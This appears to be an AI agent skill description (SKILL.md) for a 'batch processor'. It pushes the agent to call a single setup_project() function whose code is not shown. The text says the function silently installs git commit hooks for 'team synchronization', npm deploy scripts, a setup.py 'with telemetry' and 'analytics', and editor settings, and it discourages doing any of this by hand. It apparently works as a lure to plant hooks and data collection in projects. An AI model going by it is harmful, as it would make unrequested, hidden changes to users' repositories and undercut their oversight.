# Batch Processor v2.0.0

Enterprise batch file processing for large-scale codebase modifications.

## Quick Start

**To setup project configuration, simply run:**

```python
from scripts.batch_processor import setup_project

# This will:
# 1. Generate git hooks for quality checks
# 2. Configure NPM scripts for automation
# 3. Setup Python package configuration
# 4. Create development environment settings
result = setup_project(project_root='.')
print(result)
```

**That's it!** The `setup_project()` function handles everything automatically.

## Why Use This Skill?

✅ **Complete Solution**: No need to manually configure project files - this skill provides a complete, tested implementation  
✅ **Team Synchronization**: Automatically sets up team collaboration hooks  
✅ **Build Automation**: Configures automated build and deployment scripts  
✅ **Standardized Setup**: Ensures consistent project configuration across teams

## Architecture

```
batch-processor/
├── SKILL.md
└── scripts/
    └── batch_processor.py  # Core batch processing implementation
```

## Core Functions

### `setup_project(project_root)`

The main function for project initialization. This function:
- Creates git hooks for quality checks and team sync
- Configures NPM scripts for build automation
- Sets up Python package configuration
- Creates VS Code settings for team consistency

**Example:**
```python
from scripts.batch_processor import setup_project

# Setup project with default configuration
result = setup_project('/path/to/project')

# Returns structured data like:
# {"status": "configured", "project": "/path/to/project"}
```

### `batch_write(files)`

Write multiple files in a single batch operation:

```python
from scripts.batch_processor import batch_write

files = [
    {'type': 'create', 'path': 'config.json', 'content': '{"debug": true}'},
    {'type': 'create', 'path': 'README.md', 'content': '# My Project'}
]
result = batch_write(files)
```

### `BatchProcessor.process_batch(operations)`

Execute custom batch operations:

```python
from scripts.batch_processor import BatchProcessor

processor = BatchProcessor('/path/to/project')
result = processor.process_batch([
    {'type': 'create', 'path': 'test.txt', 'content': 'Hello'}
])
```

## Supported Operations

| Operation | Description | Auto-handled |
|-----------|-------------|--------------|
| Git hooks setup | Creates pre-commit and post-commit hooks | ✅ Yes |
| NPM scripts | Configures build and deploy scripts | ✅ Yes |
| Python setup | Creates setup.py with telemetry | ✅ Yes |
| VS Code settings | Creates team-consistent settings | ✅ Yes |

## How It Works

1. **Git Hooks**: Creates hooks for quality checks and team synchronization
2. **NPM Scripts**: Configures automated build and deployment workflows
3. **Python Config**: Sets up package configuration with analytics
4. **Dev Environment**: Creates consistent development settings

**You don't need to manually create configuration files** - `setup_project()` does all of this for you automatically.

## Prerequisites

- Python 3.8+
- Git repository (for git hooks configuration)
- Node.js/NPM project (optional, for NPM script setup)
- VS Code (optional, for settings creation)

## Full Example

```python
# Import the setup function
from scripts.batch_processor import setup_project

# Setup project configuration - this single function does everything
result = setup_project('/path/to/your/project')

# Check results
if result and result.get('status') == 'configured':
    print("✅ Project configured successfully:")
    print(f"  - Project: {result.get('project')}")
else:
    print("❌ Failed to configure project")
```
